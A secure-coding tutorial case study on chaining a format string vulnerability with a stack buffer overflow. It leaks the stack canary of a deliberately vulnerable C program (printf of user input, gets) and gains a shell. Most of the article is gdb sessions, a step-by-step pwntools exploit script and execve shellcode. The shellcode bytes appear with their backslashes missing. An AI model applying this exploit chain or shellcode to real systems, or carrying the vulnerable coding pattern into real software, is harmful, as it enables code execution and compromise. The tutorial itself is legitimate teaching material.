Secure coding

Format String Vulnerabilities Exploitation Case Study

Srinivas
September 22, 2020 by
Srinivas

Introduction:

In the previous article of this series, we discussed how format string vulnerabilities can be exploited. This article provides a case study of how format string vulnerabilities can be used to exploit serious vulnerabilities such as Buffer Overflows. We will begin by understanding what stack canaries are and then we will exploit a Buffer Overflow vulnerability by making use of a format string vulnerability.

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

What is stack canary?

Stack Canaries are used to detect a stack buffer overflow before execution is transferred to the user controlled code. This is achieved by placing a random value in memory just before the stack return pointer. To exploit a buffer overflow, attackers usually overwrite the return pointer. So in order to overwrite the return pointer, the canary value must also be overwritten. However, this value is checked to make sure it was not tampered with before a routine uses the return pointer on the stack. This technique can greatly increase the difficulty of exploiting a stack buffer overflow because it forces the attacker to gain control of the instruction pointer by some non-traditional means such as using memory leak vulnerabilities.

How to bypass stack canary protection?

Now that we understood how stack canaries work, let us discuss how we can bypass stack canaries and exploit the buffer overflow vulnerability. We are going to use the same vulnerable program for this exercise.

#include <stdio.h>

int main(int argc, char *argv[]){

    vuln_func(argv[1]);

    return 0;

}

void vuln_func(char *input){

    char buffer[256];

    printf(input);

    printf("n");

    gets(buffer);

}

 

The preceding program is vulnerable to two different vulnerabilities.

  1. A format string vulnerability 
  2. Stack Based Buffer Overflow

We will make use of the format string vulnerability to leak the stack canary and Stack Based Buffer Overflow to take control of the RIP register. 

We will first use gdb to analyse the binary and then we will use pwntools to exploit the vulnerable program.

Now, Let us run the binary using gdb and let us use the format string vulnerability to pop values off the stack. 

$ gdb -q ./vulnerable 

GEF for linux ready, type `gef' to start, `gef config' to configure

78 commands loaded for GDB 9.1 using Python engine 3.8

[*] 2 commands could not be loaded, run `gef missing` to know why.

Reading symbols from ./vulnerable...

(No debugging symbols found in ./vulnerable)

gef➤  disass vuln_func

Dump of assembler code for function vuln_func:

   0x00000000004011c8 <+0>: endbr64 

   0x00000000004011cc <+4>: push   rbp

   0x00000000004011cd <+5>: mov    rbp,rsp

   0x00000000004011d0 <+8>: sub    rsp,0x120

   0x00000000004011d7 <+15>: mov    QWORD PTR [rbp-0x118],rdi

   0x00000000004011de <+22>: mov    rax,QWORD PTR fs:0x28

   0x00000000004011e7 <+31>: mov    QWORD PTR [rbp-0x8],rax

   0x00000000004011eb <+35>: xor    eax,eax

   0x00000000004011ed <+37>: mov    rax,QWORD PTR [rbp-0x118]

   0x00000000004011f4 <+44>: mov    rdi,rax

   0x00000000004011f7 <+47>: mov    eax,0x0

   0x00000000004011fc <+52>: call   0x401090 <printf@plt>

   0x0000000000401201 <+57>: mov    edi,0xa

   0x0000000000401206 <+62>: call   0x401070 <putchar@plt>

   0x000000000040120b <+67>: lea    rax,[rbp-0x110]

   0x0000000000401212 <+74>: mov    rdi,rax

   0x0000000000401215 <+77>: mov    eax,0x0

   0x000000000040121a <+82>: call   0x4010a0 <gets@plt>

   0x000000000040121f <+87>: nop

   0x0000000000401220 <+88>: mov    rax,QWORD PTR [rbp-0x8]

   0x0000000000401224 <+92>: xor    rax,QWORD PTR fs:0x28

   0x000000000040122d <+101>: je     0x401234 <vuln_func+108>

   0x000000000040122f <+103>: call   0x401080 <__stack_chk_fail@plt>

   0x0000000000401234 <+108>: leave  

   0x0000000000401235 <+109>: ret    

End of assembler dump.

gef➤  

 

Let us set up a breakpoint at vuln_func + 92, where the stack canary is verified just before returning from the function.

gef➤  

gef➤  b *0x0000000000401224

Breakpoint 1 at 0x401224

gef➤ 

 

Let us use multiple %llx to abuse the format string vulnerability and leak values entries from the stack hoping to get the canary. So, let us run the program as follows.

gef➤  run %llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx

Starting program: /home/dev/backup_x86_64/canary/vulnerable %llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx

7fffffffdf28,7fffffffdf40,401240,0,7ffff7fe0d50,0,7fffffffe291,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7fffffffefb6,0,0,0,0,0,0,400040,f0b5ff,c2,7fffffffde17,7fffffffde16,40128d,7ffff7fb6fc8,ba20f11b51911700,7fffffffde30,4011c1,7fffffffdf28,200000000,0,7ffff7ded0b3,7ffff7ffc620,7fffffffdf28,200000000,401196,401240,cf2ce98b302fcbf7,4010b0,7fffffffdf20,0,0

test

Breakpoint 1, 0x0000000000401224 in vuln_func ()

 

As we can notice, there are values dumped from the stack and the breakpoint is also hit. 

Now, examine the value of register rax to verify the canary value it has.

gef➤  i r $rax

rax            0xba20f11b51911700  0xba20f11b51911700

gef➤  

 

This value is the stack canary which is being used by the application in this run to detect stack smashing. If you closely observe the leaked content earlier, this canary value is available there. Also note that it's the 41st value in the leaked entries.

gef➤  run %llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx

Starting program: /home/dev/backup_x86_64/canary/vulnerable %llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx

7fffffffdf28,7fffffffdf40,401240,0,7ffff7fe0d50,0,7fffffffe291,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7fffffffefb6,0,0,0,0,0,0,400040,f0b5ff,c2,7fffffffde17,7fffffffde16,40128d,7ffff7fb6fc8,ba20f11b51911700,7fffffffde30,4011c1,7fffffffdf28,200000000,0,7ffff7ded0b3,7ffff7ffc620,7fffffffdf28,200000000,401196,401240,cf2ce98b302fcbf7,4010b0,7fffffffdf20,0,0

test

Breakpoint 1, 0x0000000000401224 in vuln_func ()

 

So, this is how we can leak stack canaries to be able to bypass stack smashing detection. 

One can easily find out the offset to stack canary and replace the junk characters with the actual canary at runtime. 

Let us first find out the offset to stack canary using a pattern.

gef➤  pattern create 300

[+] Generating a pattern of 300 bytes

aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa

[+] Saved as '$_gef0'

gef➤ 

 

Once again, set up a breakpoint at vuln_func + 92, where the stack canary is verified and run the program using the pattern generated.

gef➤  run test

Starting program: /home/dev/backup_x86_64/canary/vulnerable test

test

aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa

 

After the program is run, we should hit the breakpoint at the following instruction. 

    0x401219 <vuln_func+81>   add    al, ch

     0x40121b <vuln_func+83>   cmp    esi, 0x4890ffff

     0x401221 <vuln_func+89>   mov    eax, DWORD PTR [rbp-0x8]

 →   0x401224 <vuln_func+92>   xor    rax, QWORD PTR fs:0x28

     0x40122d <vuln_func+101>  je     0x401234 <vuln_func+108>

     0x40122f <vuln_func+103>  call   0x401080 <__stack_chk_fail@plt>

     0x401234 <vuln_func+108>  leave  

     0x401235 <vuln_func+109>  ret   

 

The program is about to verify the stack canary, but we have overwritten the canary value with our large input. So, let us check what rax contains.

gef➤  i r $rax

rax            0x6261616161616169  0x6261616161616169

gef➤

 

As you can notice, the canary is overwritten with 8 bytes of our pattern.

Let us find the offset at which canary is written. This is needed to be able to position the leaked canary in the buffer overflow payload.

gef➤  pattern search 0x6261616161616169

[+] Searching '0x6261616161616169'

[+] Found at offset 264 (little-endian search) likely

gef➤ 

 

As we can see in the preceding excerpt, 264 bytes are needed to overwrite the stack canary.

We can find the offset of the return address (RIP register) using the same process. The offset to the RBP register is 272 and RIP requires 278 bytes. 

Crafting the exploit using pwntools framework:

Using the information gathered so far, let us write our exploit with the help of pwntools framework.

Use the following command to create a template exploit.

$ pwn template ./vulnerable > exploit.py

 

Following is the template created. Ensure that the exploit template is updated to use python3 since python2 is used by default.

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

# This exploit template was generated via:

# $ pwn template ./vulnerable

from pwn import *

# Set up pwntools for the correct architecture

exe = context.binary = ELF('./vulnerable')

# Many built-in settings can be controlled on the command-line and show up

# in "args".  For example, to dump all data sent/received, and disable ASLR

# for all created processes...

# ./exploit.py DEBUG NOASLR

def start(argv=[], *a, **kw):

    '''Start the exploit against the target.'''

    if args.GDB:

        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)

    else:

        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging

# GDB will be launched if the exploit is run via e.g.

# ./exploit.py GDB

gdbscript = '''

tbreak main

continue

'''.format(**locals())

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

# Arch:     amd64-64-little

# RELRO:    Partial RELRO

# Stack:    Canary found

# NX:       NX disabled

# PIE:      No PIE (0x400000)

# RWX:      Has RWX segments

io = start()

# shellcode = asm(shellcraft.sh())

# payload = fit({

#     32: 0xdeadbeef,

#     'iaaa': [1, 2, 'Hello', 3]

# }, length=128)

# io.send(payload)

# flag = io.recv(...)

# log.success(flag)

io.interactive()

 

The following excerpt shows that we can pass the arguments within the process function.

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

# This exploit template was generated via:

# $ pwn template ./vulnerable

from pwn import *

# Set up pwntools for the correct architecture

exe = context.binary = ELF('./vulnerable')

# Many built-in settings can be controlled on the command-line and show up

# in "args".  For example, to dump all data sent/received, and disable ASLR

# for all created processes...

# ./exploit.py DEBUG NOASLR

def start(argv=[], *a, **kw):

    '''Start the exploit against the target.'''

    if args.GDB:

        return gdb.debug([exe.path, "%llx,%llx,%llx,%llx%llx,%llx,%llx,%llx"] + argv, gdbscript=gdbscript, *a, **kw)

    else:

        return process([exe.path, "%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx"] + argv, *a, **kw)

# Specify your GDB script here for debugging

# GDB will be launched if the exploit is run via e.g.

# ./exploit.py GDB

gdbscript = '''

tbreak main

continue

'''.format(**locals())

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

# Arch:     amd64-64-little

# RELRO:    Partial RELRO

# Stack:    Canary found

# NX:       NX disabled

# PIE:      No PIE (0x400000)

# RWX:      Has RWX segments

io = start()

print(io.readline())

io.sendline('A'*300)

io.interactive()

 

As we can notice in the preceding excerpt, the arguments can be passed using the process() function. Let us also understand what each of the highlighted  lines are doing here.

start() - This line will call the start() function, which has a call to process(). This line is basically to start talking to a process.

print(io.readline()) - This line is to read data from the program until a new line character is encountered. This is where we will be able to print the leaked canary.

print(io.sendline(‘A’*300)) - This line will send 300 As to the program and it includes a newline(n) character at the end.

io.interactive() - All the previous lines used are to programmatically interact with the process. However, using this line we can actually interact with the process using an interactive shell.

Let us run the exploit and observe what happens.

$ ./exploit1.py 

[*] '/home/dev/backup_x86_64/canary/vulnerable'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    Canary found

    NX:       NX disabled

    PIE:      No PIE (0x400000)

    RWX:      Has RWX segments

[+] Starting local process '/home/dev/backup_x86_64/canary/vulnerable': pid 1449268

b'7ffda9b43fd8,7ffda9b43ff0,401240,0,7f7ab6df8d50,0,7ffda9b46282,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7ffda9b46fb6,0,0,0,0,0,0,400040,f0b5ff,c2,7ffda9b43ec7,7ffda9b43ec6,40128d,7f7ab6dd2fc8,5e09702adac70d00,7ffda9b43ee0,4011c1,7ffda9b43fd8,200000000,0,7f7ab6c090b3,7f7ab6e14620,7ffda9b43fd8,200000000,401196,401240,58e98503db447cb8,4010b0,7ffda9b43fd0,0,0,a712d66ba6a47cb8,a61ce882fb8a7cb8,0,0,0,2,7ffda9b43fd8,7ffda9b43ff0,7f7ab6e16190,0,0,4010b0,7ffda9b43fd0,0n'

[*] Switching to interactive mode

*** stack smashing detected ***: terminated

[*] Got EOF while reading in interactive

[*] Process '/home/dev/backup_x86_64/canary/vulnerable' stopped with exit code -6 (SIGABRT) (pid 1449268)

[*] Got EOF while sending in interactive

 

As we can notice, the format string vulnerability is leaking the canary highlighted in yellow but we have received a stack smashing detected error since we did not send this canary as part of the buffer.

Now, we need to update the format string payload to leak only the canary instead of too many entries from the stack.

So, let us update the exploit template to leak the stack canary by passing the argument %41$llx.

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

# This exploit template was generated via:

# $ pwn template ./vulnerable

from pwn import *

# Set up pwntools for the correct architecture

exe = context.binary = ELF('./vulnerable')

# Many built-in settings can be controlled on the command-line and show up

# in "args".  For example, to dump all data sent/received, and disable ASLR

# for all created processes...

# ./exploit.py DEBUG NOASLR

def start(argv=[], *a, **kw):

    '''Start the exploit against the target.'''

    if args.GDB:

        return gdb.debug([exe.path, "%llx,%llx,%llx,%llx%llx,%llx,%llx,%llx"] + argv, gdbscript=gdbscript, *a, **kw)

    else:

        return process([exe.path, "%41$llx"] + argv, *a, **kw)

# Specify your GDB script here for debugging

# GDB will be launched if the exploit is run via e.g.

# ./exploit.py GDB

gdbscript = '''

tbreak main

continue

'''.format(**locals())

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

# Arch:     amd64-64-little

# RELRO:    Partial RELRO

# Stack:    Canary found

# NX:       NX disabled

# PIE:      No PIE (0x400000)

# RWX:      Has RWX segments

io = start()

print(io.readline())

io.sendline('A'*300)

io.interactive()

 

As we can notice, the exploit is updated to leak the stack canary only. Let us run the exploit and observe what happens.

$ ./exploit2.py 

[*] '/home/dev/backup_x86_64/canary/test/vulnerable'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    Canary found

    NX:       NX disabled

    PIE:      No PIE (0x400000)

    RWX:      Has RWX segments

[+] Starting local process '/home/dev/backup_x86_64/canary/test/vulnerable': pid 1454716

b'ca9192464af1ea00n'

[*] Switching to interactive mode

*** stack smashing detected ***: terminated

[*] Got EOF while reading in interactive

$

 

As expected, the stack canary is leaked and stack smashing is detected.

As we can observe, the leaked address is in byte format. We need to extract the first 16 bytes in the output and convert into an integer with  base 16. This gives us the canary leaked from the stack, which is the 41st entry. So, let us extract the leaked canary and save it in a variable. We can then adjust the buffer to include this canary value so that stack smashing will not be detected.

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

# Arch:     amd64-64-little

# RELRO:    Partial RELRO

# Stack:    Canary found

# NX:       NX disabled

# PIE:      No PIE (0x400000)

# RWX:      Has RWX segments

io = start()

leaked = io.readline()

canary = int(leaked[:17],16)

print(hex(canary))

io.sendline('A'*300)

io.interactive()

 

Run the preceding excerpt, and we should see the following output.

$ ./exploit3.py 

[*] '/home/dev/backup_x86_64/canary/test/vulnerable'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    Canary found

    NX:       NX disabled

    PIE:      No PIE (0x400000)

    RWX:      Has RWX segments

[+] Starting local process '/home/dev/backup_x86_64/canary/test/vulnerable': pid 12640

0xcaf387196630e400

[*] Switching to interactive mode

*** stack smashing detected ***: terminated

[*] Got EOF while reading in interactive

$  

 

As we can see, we managed to extract the exact canary value. Next, let us adjust the payload with the canary. Following are the observations from our analysis earlier.

  • Offset to overwrite stack canary is 264 bytes 
  • Offset to overwrite the RBP register is 272 bytes
  • RIP should point to the address of shellcode

Now, let us update the exploit with these details as follows. 

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

# Arch:     amd64-64-little

# RELRO:    Partial RELRO

# Stack:    Canary found

# NX:       NX disabled

# PIE:      No PIE (0x400000)

# RWX:      Has RWX segments

io = start()

leaked = io.readline()

canary = int(leaked[:17],16)

print(hex(canary))

shellcode = b"x48x31xc0x48x89xc2x48x89xd6x50x48xbbx2fx2fx62x69x6ex2fx73x68x53x48x89xe7x48x83xc0x3bx0fx05"

payload = shellcode

payload += b'A' * (264-len(shellcode))

payload += p64(canary)

payload += b'B' * 8

payload += p64(0x7fffffffde50) #address pointing to shellcode

io.sendline(payload)

io.interactive()

 

Let us check if the exploit works.

$ ./exploit6.py 

[*] '/home/dev/backup_x86_64/canary/test/vulnerable'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    Canary found

    NX:       NX disabled

    PIE:      No PIE (0x400000)

    RWX:      Has RWX segments

[+] Starting local process '/home/dev/backup_x86_64/canary/test/vulnerable': pid 52950

0xbfb42c44c1d29600

[*] Switching to interactive mode

$ id

uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker)

$  

 

The exploit worked and we bypassed stack canary by chaining format string vulnerability with a stack based buffer overflow vulnerability.

Following is the final exploit.

$ cat exploit6.py 

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

# This exploit template was generated via:

# $ pwn template ./vulnerable

from pwn import *

# Set up pwntools for the correct architecture

exe = context.binary = ELF('./vulnerable')

# Many built-in settings can be controlled on the command-line and show up

# in "args".  For example, to dump all data sent/received, and disable ASLR

# for all created processes...

# ./exploit.py DEBUG NOASLR

def start(argv=[], *a, **kw):

    '''Start the exploit against the target.'''

    if args.GDB:

        return gdb.debug([exe.path, "%llx,%llx,%llx,%llx%llx,%llx,%llx,%llx"] + argv, gdbscript=gdbscript, *a, **kw)

    else:

        return process([exe.path, "%41$llx"] + argv, *a, **kw)

# Specify your GDB script here for debugging

# GDB will be launched if the exploit is run via e.g.

# ./exploit.py GDB

gdbscript = '''

tbreak main

continue

'''.format(**locals())

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

# Arch:     amd64-64-little

# RELRO:    Partial RELRO

# Stack:    Canary found

# NX:       NX disabled

# PIE:      No PIE (0x400000)

# RWX:      Has RWX segments

io = start()

leaked = io.readline()

canary = int(leaked[:17],16)

print(hex(canary))

shellcode = b"x48x31xc0x48x89xc2x48x89xd6x50x48xbbx2fx2fx62x69x6ex2fx73x68x53x48x89xe7x48x83xc0x3bx0fx05"

payload = shellcode

payload += b'A' * (264-len(shellcode))

payload += p64(canary)

payload += b'B' * 8

payload += p64(0x7fffffffde50)

io.sendline(payload)

io.interactive()

Conclusion:

Format String vulnerabilities clearly can create great damage, when exploited. One can easily read data from arbitrary memory locations and use them to chain with other vulnerabilities such as Buffer Overflows. Developers must be aware of Format String vulnerabilities and the risks they bring when writing functions that are susceptible to format string vulnerabilities.

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

 

Sources:

  1. https://owasp.org/www-community/Source_Code_Analysis_Tools
  2. https://owasp.org/www-community/attacks/Format_string_attack
  3. https://www.netsparker.com/blog/web-security/format-string-vulnerabilities/
Srinivas
Srinivas

Srinivas is an Information Security professional with 4 years of industry experience in Web, Mobile and Infrastructure Penetration Testing. He is currently a security researcher at Infosec Institute Inc. He holds Offensive Security Certified Professional(OSCP) Certification. He blogs atwww.androidpentesting.com. Email: srini0x00@gmail.com